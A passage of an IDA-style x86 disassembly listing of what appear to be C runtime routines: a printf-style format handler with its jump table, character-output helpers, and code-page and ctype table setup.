; DATA XREF: ___:off_41FDC0o
mov ecx, off_43C9D8 ; jumptable 0041F70D case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41F86A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FDE0
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_41F86A: ; CODE XREF: sub_41F69F+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FDE0
add esp, 0Ch
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F882: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
movsx eax, bl ; jumptable 0041F70D case 7
cmp eax, 67h
jg loc_41FAAA
cmp eax, 65h
jge loc_41F92D
cmp eax, 58h
jg loc_41F98B
jz loc_41FB1E
sub eax, 43h
jz loc_41F94E
dec eax
dec eax
jz short loc_41F923
dec eax
dec eax
jz short loc_41F923
sub eax, 0Ch
jnz loc_41FCA9
test word ptr [ebp+var_4], 830h
jnz short loc_41F8CC
or byte ptr [ebp+var_4+1], 8
loc_41F8CC: ; CODE XREF: sub_41F69F+227j
; sub_41F69F+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_41F8D9
mov esi, 7FFFFFFFh
loc_41F8D9: ; CODE XREF: sub_41F69F+233j
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41FAF2
test ecx, ecx
jnz short loc_41F901
mov ecx, off_43CBF4
mov [ebp+var_8], ecx
loc_41F901: ; CODE XREF: sub_41F69F+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_41F90A: ; CODE XREF: sub_41F69F+282j
mov edx, esi
dec esi
test edx, edx
jz loc_41FAE9
cmp word ptr [eax], 0
jz loc_41FAE9
inc eax
inc eax
jmp short loc_41F90A
; ---------------------------------------------------------------------------
loc_41F923: ; CODE XREF: sub_41F69F+212j
; sub_41F69F+216j
mov [ebp+var_34], 1
add bl, 20h
loc_41F92D: ; CODE XREF: sub_41F69F+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_41FA11
mov [ebp+var_10], 6
jmp loc_41FA1F
; ---------------------------------------------------------------------------
loc_41F94E: ; CODE XREF: sub_41F69F+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_41F95A
or byte ptr [ebp+var_4+1], 8
loc_41F95A: ; CODE XREF: sub_41F69F+2B5j
; sub_41F69F+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41F9A1
call sub_41FE9B
push eax
lea eax, [ebp+var_248]
push eax
call sub_423E5B
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_41F9B4
mov [ebp+var_28], 1
jmp short loc_41F9B4
; ---------------------------------------------------------------------------
loc_41F98B: ; CODE XREF: sub_41F69F+1FBj
sub eax, 5Ah
jz short loc_41F9C2
sub eax, 9
jz short loc_41F95A
dec eax
jz loc_41FB84
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j
call sub_41FE7E
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j
; sub_41F69F+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
jz short loc_41FA03
mov ecx, [eax+4]
test ecx, ecx
jz short loc_41FA03
test byte ptr [ebp+var_4+1], 8
jz short loc_41F9F4
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FA03: ; CODE XREF: sub_41F69F+32Fj
; sub_41F69F+336j
mov eax, off_43CBF0
mov [ebp+var_8], eax
push eax
jmp loc_41FA9F
; ---------------------------------------------------------------------------
loc_41FA11: ; CODE XREF: sub_41F69F+29Dj
jnz short loc_41FA1F
cmp bl, 67h
jnz short loc_41FA1F
mov [ebp+var_10], 1
loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj
; sub_41F69F:loc_41FA11j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43CF80
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41FA71
cmp [ebp+var_10], 0
jnz short loc_41FA71
lea eax, [ebp+var_248]
push eax
call off_43CF8C
pop ecx
loc_41FA71: ; CODE XREF: sub_41F69F+3BCj
; sub_41F69F+3C2j
cmp bl, 67h
jnz short loc_41FA88
test esi, esi
jnz short loc_41FA88
lea eax, [ebp+var_248]
push eax
call off_43CF84
pop ecx
loc_41FA88: ; CODE XREF: sub_41F69F+3D5j
; sub_41F69F+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41FA9E
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j
push edi
loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj
call sub_41AFE0
pop ecx
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j
sub eax, 69h
jz loc_41FB84
sub eax, 5
jz loc_41FB5A
dec eax
jz loc_41FB47
dec eax
jz short loc_41FB17
sub eax, 3
jz loc_41F8CC
dec eax
dec eax
jz loc_41FB88
sub eax, 3
jnz loc_41FCA9
mov [ebp+var_2C], 27h
jmp short loc_41FB25
; ---------------------------------------------------------------------------
loc_41FAE9: ; CODE XREF: sub_41F69F+270j
; sub_41F69F+27Aj
sub eax, ecx
sar eax, 1
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj
test ecx, ecx
jnz short loc_41FAFF
mov ecx, off_43CBF0
mov [ebp+var_8], ecx
loc_41FAFF: ; CODE XREF: sub_41F69F+455j
mov eax, ecx
loc_41FB01: ; CODE XREF: sub_41F69F+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_41FB10
cmp byte ptr [eax], 0
jz short loc_41FB10
inc eax
jmp short loc_41FB01
; ---------------------------------------------------------------------------
loc_41FB10: ; CODE XREF: sub_41F69F+467j
; sub_41F69F+46Cj
sub eax, ecx
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FB17: ; CODE XREF: sub_41F69F+425j
mov [ebp+var_10], 8
loc_41FB1E: ; CODE XREF: sub_41F69F+201j
mov [ebp+var_2C], 7
loc_41FB25: ; CODE XREF: sub_41F69F+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41FB8F
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41FB8F
; ---------------------------------------------------------------------------
loc_41FB47: ; CODE XREF: sub_41F69F+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41FB8F
or byte ptr [ebp+var_4+1], 2
jmp short loc_41FB8F
; ---------------------------------------------------------------------------
loc_41FB5A: ; CODE XREF: sub_41F69F+417j
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_41FB73
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_41FB78
; ---------------------------------------------------------------------------
loc_41FB73: ; CODE XREF: sub_41F69F+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_41FB78: ; CODE XREF: sub_41F69F+4D2j
mov [ebp+var_28], 1
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41FB84: ; CODE XREF: sub_41F69F+2F7j
; sub_41F69F+40Ej
or [ebp+var_4], 40h
loc_41FB88: ; CODE XREF: sub_41F69F+432j
mov [ebp+var_C], 0Ah
loc_41FB8F: ; CODE XREF: sub_41F69F+491j
; sub_41F69F+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41FBA1
lea eax, [ebp+arg_8]
push eax
call sub_41FE8B
pop ecx
jmp short loc_41FBE2
; ---------------------------------------------------------------------------
loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_41FBC8
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FBBD
call sub_41FE7E
pop ecx
movsx eax, ax
loc_41FBBA: ; CODE XREF: sub_41F69F+527j
; sub_41F69F+539j
cdq
jmp short loc_41FBE2
; ---------------------------------------------------------------------------
loc_41FBBD: ; CODE XREF: sub_41F69F+510j
call sub_41FE7E
pop ecx
movzx eax, ax
jmp short loc_41FBBA
; ---------------------------------------------------------------------------
loc_41FBC8: ; CODE XREF: sub_41F69F+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FBDA
call sub_41FE7E
pop ecx
jmp short loc_41FBBA
; ---------------------------------------------------------------------------
loc_41FBDA: ; CODE XREF: sub_41F69F+531j
call sub_41FE7E
pop ecx
xor edx, edx
loc_41FBE2: ; CODE XREF: sub_41F69F+500j
; sub_41F69F+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_41FC03
test edx, edx
jg short loc_41FC03
jl short loc_41FBF2
test eax, eax
jnb short loc_41FC03
loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_41FC07
; ---------------------------------------------------------------------------
loc_41FC03: ; CODE XREF: sub_41F69F+547j
; sub_41F69F+54Bj ...
mov esi, eax
mov edi, edx
loc_41FC07: ; CODE XREF: sub_41F69F+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_41FC10
and edi, 0
loc_41FC10: ; CODE XREF: sub_41F69F+56Cj
cmp [ebp+var_10], 0
jge short loc_41FC1F
mov [ebp+var_10], 1
jmp short loc_41FC23
; ---------------------------------------------------------------------------
loc_41FC1F: ; CODE XREF: sub_41F69F+575j
and [ebp+var_4], 0FFFFFFF7h
loc_41FC23: ; CODE XREF: sub_41F69F+57Ej
mov eax, esi
or eax, edi
jnz short loc_41FC2D
and [ebp+var_1C], 0
loc_41FC2D: ; CODE XREF: sub_41F69F+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_41FC33: ; CODE XREF: sub_41F69F+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_41FC43
mov eax, esi
or eax, edi
jz short loc_41FC7E
loc_41FC43: ; CODE XREF: sub_41F69F+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41D480
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41D410
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_41FC74
add ebx, [ebp+var_2C]
loc_41FC74: ; CODE XREF: sub_41F69F+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_41FC33
; ---------------------------------------------------------------------------
loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_41FCA9
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_41FC9C
test eax, eax
jnz short loc_41FCA9
loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj
; sub_41F69F+406j ...
mov [ebp+var_C], eax
loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj
; sub_41F69F+2FDj ...
cmp [ebp+var_28], 0
jnz loc_41FDA7 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41FCE1
test bh, 1
jz short loc_41FCC6
mov [ebp+var_16], 2Dh
jmp short loc_41FCDA
; ---------------------------------------------------------------------------
loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj
test bl, 1
jz short loc_41FCD1
mov [ebp+var_16], 2Bh
jmp short loc_41FCDA
; ---------------------------------------------------------------------------
loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj
test bl, 2
jz short loc_41FCE1
mov [ebp+var_16], 20h
loc_41FCDA: ; CODE XREF: sub_41F69F+625j
; sub_41F69F+630j
mov [ebp+var_1C], 1
loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj
; sub_41F69F+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_41FD01
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FE15
add esp, 10h
loc_41FD01: ; CODE XREF: sub_41F69F+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_41FE46
add esp, 10h
test bl, 8
jz short loc_41FD33
test bl, 4
jnz short loc_41FD33
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_41FE15
add esp, 10h
loc_41FD33: ; CODE XREF: sub_41F69F+67Bj
; sub_41F69F+680j
cmp [ebp+var_24], 0
jz short loc_41FD7A
cmp [ebp+var_C], 0
jle short loc_41FD7A
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_41FD48: ; CODE XREF: sub_41F69F+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_423E5B
pop ecx
test eax, eax
pop ecx
jle short loc_41FD8F
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_41FE46
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_41FD48
jmp short loc_41FD8F
; ---------------------------------------------------------------------------
loc_41FD7A: ; CODE XREF: sub_41F69F+698j
; sub_41F69F+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_41FE46
add esp, 10h
loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj
; sub_41F69F+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_41FDA7 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FE15
add esp, 10h
loc_41FDA7: ; CODE XREF: sub_41F69F+68j
; sub_41F69F+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41F6CB
loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj
; sub_41F69F+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41F69F endp
; ---------------------------------------------------------------------------
off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er
dd offset loc_41F714 ; jump table for switch statement
dd offset loc_41F72F
dd offset loc_41F77B
dd offset loc_41F7B2
dd offset loc_41F7BA
dd offset loc_41F7EF
dd offset loc_41F882
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp
; sub_41F69F+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_41FDF9
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_41FE04
; ---------------------------------------------------------------------------
loc_41FDF9: ; CODE XREF: sub_41FDE0+9j
push ecx
push [ebp+arg_0]
call sub_41F58A
pop ecx
pop ecx
loc_41FE04: ; CODE XREF: sub_41FDE0+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_41FE11
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41FDE0 endp
; =============== S U B R O U T I N E =======================================
sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap
; sub_41F69F+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_41FE43
mov esi, [esp+8+arg_C]
loc_41FE26: ; CODE XREF: sub_41FE15+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41FDE0
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_41FE43
mov eax, edi
dec edi
test eax, eax
jg short loc_41FE26
loc_41FE43: ; CODE XREF: sub_41FE15+Bj
; sub_41FE15+25j
pop edi
pop esi
retn
sub_41FE15 endp
; =============== S U B R O U T I N E =======================================
sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p
; sub_41F69F+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_41FE7A
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_41FE5C: ; CODE XREF: sub_41FE46+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41FDE0
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_41FE7A
mov eax, ebx
dec ebx
test eax, eax
jg short loc_41FE5C
loc_41FE7A: ; CODE XREF: sub_41FE46+Cj
; sub_41FE46+2Bj
pop edi
pop esi
pop ebx
retn
sub_41FE46 endp
; =============== S U B R O U T I N E =======================================
sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p
; sub_41F69F+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41FE7E endp
; =============== S U B R O U T I N E =======================================
sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_41FE8B endp
; =============== S U B R O U T I N E =======================================
sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_41FE9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_420042
mov esi, eax
pop ecx
cmp esi, dword_4DCDA4
mov [ebp+arg_0], esi
jz loc_420036
xor ebx, ebx
cmp esi, ebx
jz loc_42002C
xor edx, edx
mov eax, offset dword_43CC00
loc_41FEDD: ; CODE XREF: sub_41FEA9+41j
cmp [eax], esi
jz short loc_41FF53
add eax, 30h
inc edx
cmp eax, offset dword_43CCF0
jl short loc_41FEDD
lea eax, [ebp+var_18]
push eax
push esi
nop
call near ptr 28B0000h
cmp eax, 1
jnz loc_420024
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DCEC0
cmp [ebp+var_18], 1
mov dword_4DCDA4, esi
rep stosd
stosb
mov dword_4DCFC4, ebx
jbe loc_420012
cmp [ebp+var_12], 0
jz loc_41FFE8
lea ecx, [ebp+var_11]
loc_41FF30: ; CODE XREF: sub_41FEA9+139j
mov dl, [ecx]
test dl, dl
jz loc_41FFE8
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41FF41: ; CODE XREF: sub_41FEA9+A8j
cmp eax, edx
ja loc_41FFDC
or byte_4DCEC1[eax], 4
inc eax
jmp short loc_41FF41
; ---------------------------------------------------------------------------
loc_41FF53: ; CODE XREF: sub_41FEA9+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DCEC0
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43CC10[esi]
loc_41FF6F: ; CODE XREF: sub_41FEA9+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41FFA2
loc_41FF76: ; CODE XREF: sub_41FEA9+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_41FFA2
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41FF9B
mov edx, [ebp+var_4]
mov dl, byte_43CBF8[edx]
loc_41FF90: ; CODE XREF: sub_41FEA9+F0j
or byte_4DCEC1[eax], dl
inc eax
cmp eax, edi
jbe short loc_41FF90
loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41FF76
loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj
; sub_41FEA9+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41FF6F
mov eax, [ebp+arg_0]
mov dword_4DCDBC, 1
push eax
mov dword_4DCDA4, eax
call sub_42008C
lea esi, dword_43CC04[esi]
mov edi, offset dword_4DCDB0
movsd
movsd
pop ecx
mov dword_4DCFC4, eax
movsd
jmp short loc_420031
; ---------------------------------------------------------------------------
loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41FF30
loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej
; sub_41FEA9+8Bj
push 1
pop eax
loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj
or byte_4DCEC1[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41FFEB
push esi
call sub_42008C
pop ecx
mov dword_4DCFC4, eax
mov dword_4DCDBC, 1
jmp short loc_420018
; ---------------------------------------------------------------------------
loc_420012: ; CODE XREF: sub_41FEA9+74j
mov dword_4DCDBC, ebx
loc_420018: ; CODE XREF: sub_41FEA9+167j
xor eax, eax
mov edi, offset dword_4DCDB0
stosd
stosd
stosd
jmp short loc_420031
; ---------------------------------------------------------------------------
loc_420024: ; CODE XREF: sub_41FEA9+51j
cmp dword_4DB9E0, ebx
jz short loc_42003A
loc_42002C: ; CODE XREF: sub_41FEA9+27j
call sub_4200BF
loc_420031: ; CODE XREF: sub_41FEA9+131j
; sub_41FEA9+179j
call sub_4200E8
loc_420036: ; CODE XREF: sub_41FEA9+1Dj
xor eax, eax
jmp short loc_42003D
; ---------------------------------------------------------------------------
loc_42003A: ; CODE XREF: sub_41FEA9+181j
or eax, 0FFFFFFFFh
loc_42003D: ; CODE XREF: sub_41FEA9+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41FEA9 endp
; =============== S U B R O U T I N E =======================================
sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4DB9E0, 0
cmp eax, 0FFFFFFFEh
jnz short loc_420062
mov dword_4DB9E0, 1
nop
jmp near ptr 26608FCh
; ---------------------------------------------------------------------------
loc_420062: ; CODE XREF: sub_420042+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_420077
mov dword_4DB9E0, 1
nop
jmp near ptr 28B06A9h
; ---------------------------------------------------------------------------
loc_420077: ; CODE XREF: sub_420042+23j
cmp eax, 0FFFFFFFCh
jnz short locret_42008B
mov eax, dword_4DBA24
mov dword_4DB9E0, 1
locret_42008B: ; CODE XREF: sub_420042+38j
retn
sub_420042 endp
; =============== S U B R O U T I N E =======================================
sub_42008C proc near ; CODE XREF: sub_41FEA9+118p
; sub_41FEA9+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_4200B9
sub eax, 4
jz short loc_4200B3
sub eax, 0Dh
jz short loc_4200AD
dec eax
jz short loc_4200A7
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4200A7: ; CODE XREF: sub_42008C+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_4200AD: ; CODE XREF: sub_42008C+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_4200B3: ; CODE XREF: sub_42008C+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_4200B9: ; CODE XREF: sub_42008C+9j
mov eax, 411h
retn
sub_42008C endp
; =============== S U B R O U T I N E =======================================
sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DCEC0
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DCDB0
mov dword_4DCDA4, eax
mov dword_4DCDBC, eax
mov dword_4DCFC4, eax
stosd
stosd
stosd
pop edi
retn
sub_4200BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4DCDA4
nop
call near ptr 28B0000h
cmp eax, 1
jnz loc_420221
xor eax, eax
mov esi, 100h
loc_420112: ; CODE XREF: sub_4200E8+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_420112
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_420163
push ebx
push edi
lea edx, [ebp+var_D]
loc_420131: ; CODE XREF: sub_4200E8+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_420158
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_420158: ; CODE XREF: sub_4200E8+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_420131
pop edi
pop ebx
loc_420163: ; CODE XREF: sub_4200E8+42j
push 0
lea eax, [ebp+var_514]
push dword_4DCFC4
push dword_4DCDA4
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_423CEC
push 0
lea eax, [ebp+var_214]
push dword_4DCDA4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4DCFC4
call sub_422ACA
push 0
lea eax, [ebp+var_314]
push dword_4DCDA4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4DCFC4
call sub_422ACA
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_4201DE: ; CODE XREF: sub_4200E8+135j
mov dx, [ecx]
test dl, 1
jz short loc_4201FC
or byte_4DCEC1[eax], 10h
mov dl, [ebp+eax+var_214]
loc_4201F4: ; CODE XREF: sub_4200E8+127j
mov byte_4DCDC0[eax], dl
jmp short loc_420218
; ---------------------------------------------------------------------------
loc_4201FC: ; CODE XREF: sub_4200E8+FCj
test dl, 2
jz short loc_420211
or byte_4DCEC1[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_4201F4
; ---------------------------------------------------------------------------
loc_420211: ; CODE XREF: sub_4200E8+117j
and byte_4DCDC0[eax], 0
loc_420218: ; CODE XREF: sub_4200E8+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_4201DE
jmp short loc_42026A
; ---------------------------------------------------------------------------
loc_420221: ; CODE XREF: sub_4200E8+1Dj
xor eax, eax
mov esi, 100h
loc_420228: ; CODE XREF: sub_4200E8+180j
cmp eax, 41h
jb short loc_420246
cmp eax, 5Ah
ja short loc_420246
or byte_4DCEC1[eax], 10h
mov cl, al
add cl, 20h
loc_42023E: ; CODE XREF: sub_4200E8+174j
mov byte_4DCDC0[eax], cl
jmp short loc_420265
; ---------------------------------------------------------------------------
loc_420246: ; CODE XREF: sub_4200E8+143j
; sub_4200E8+148j
cmp eax, 61h
jb short loc_42025E
cmp eax, 7Ah
ja short loc_42025E
or byte_4DCEC1[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_42023E
; ---------------------------------------------------------------------------
loc_42025E: ; CODE XREF: sub_4200E8+161j
; sub_4200E8+166j
